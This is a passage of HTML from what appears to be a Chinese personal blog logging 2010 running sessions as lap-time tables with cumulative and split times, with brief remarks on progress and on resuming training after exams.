<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:32</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:08</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:45</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100722-21:43</strong></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">东区1000米</span></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">距离</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">400米</span></td>
<td align="CENTER">00:01:36</td>
<td align="CENTER">00:01:36</td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">800米</span></td>
<td align="CENTER">00:03:31</td>
<td align="CENTER">00:01:55</td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">1000米</span></td>
<td align="CENTER">00:04:27</td>
<td align="CENTER">00:00:56</td>
</tr>
</tbody>
</table>
<h3>20100718</h3>
<p>貌似昨天跑步第一次突破6分。欣慰一下。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100711-22:20</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:13</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:54</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:35</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:15</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:37</td>
<td align="CENTER" valign="MIDDLE">00:00:22</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:39</td>
<td align="CENTER" valign="MIDDLE">00:01:02</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:23</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:09</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:48</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100713-22:09</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:07</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:46</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:29</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:11</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:52</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:33</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:16</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:05:55</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:33</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100717-22:38</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:55</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:33</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:10</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:50</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:03:55</td>
<td align="CENTER" valign="MIDDLE">00:00:05</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:04:32</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:05:08</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:05:46</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100718-22:20</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:13</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:53</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:35</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:15</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:04</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:44</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:24</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:04</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:43</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
</tbody>
</table>
<h3>20100705</h3>
<p>好久没有跑步运动了，包宿也有好几天了。</p>
<p>前几天是考试的原因，现在重新拾起来做吧。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100623-22:25</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:16</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:56</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:36</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:18</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:01</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:44</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:28</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:10</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:43</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100625-22:26</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:57</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:38</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:20</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:03</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:44</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:28</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:09</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:38</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100704-22:21</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:10</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:48</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:28</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:12</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:59</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:47</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:36</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:22</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:58</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
</tbody>
</table>
<h3>20100623</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100616-22:14</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:11</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:58</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:34</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:14</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:59</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:42</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:27</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:12</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:42</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100617:21:xx</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:14</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:55</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:38</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:19</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:00</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:39</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:20</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:02</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:31</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100617</td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">南区一圈（800多米）</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:05:19</td>
<td align="CENTER" valign="MIDDLE">00:05:19</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100618-22:25</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:21</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:03</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:48</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:32</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:15</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:01</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:50</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:37</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:10</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE"><strong>20100620-22:14</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
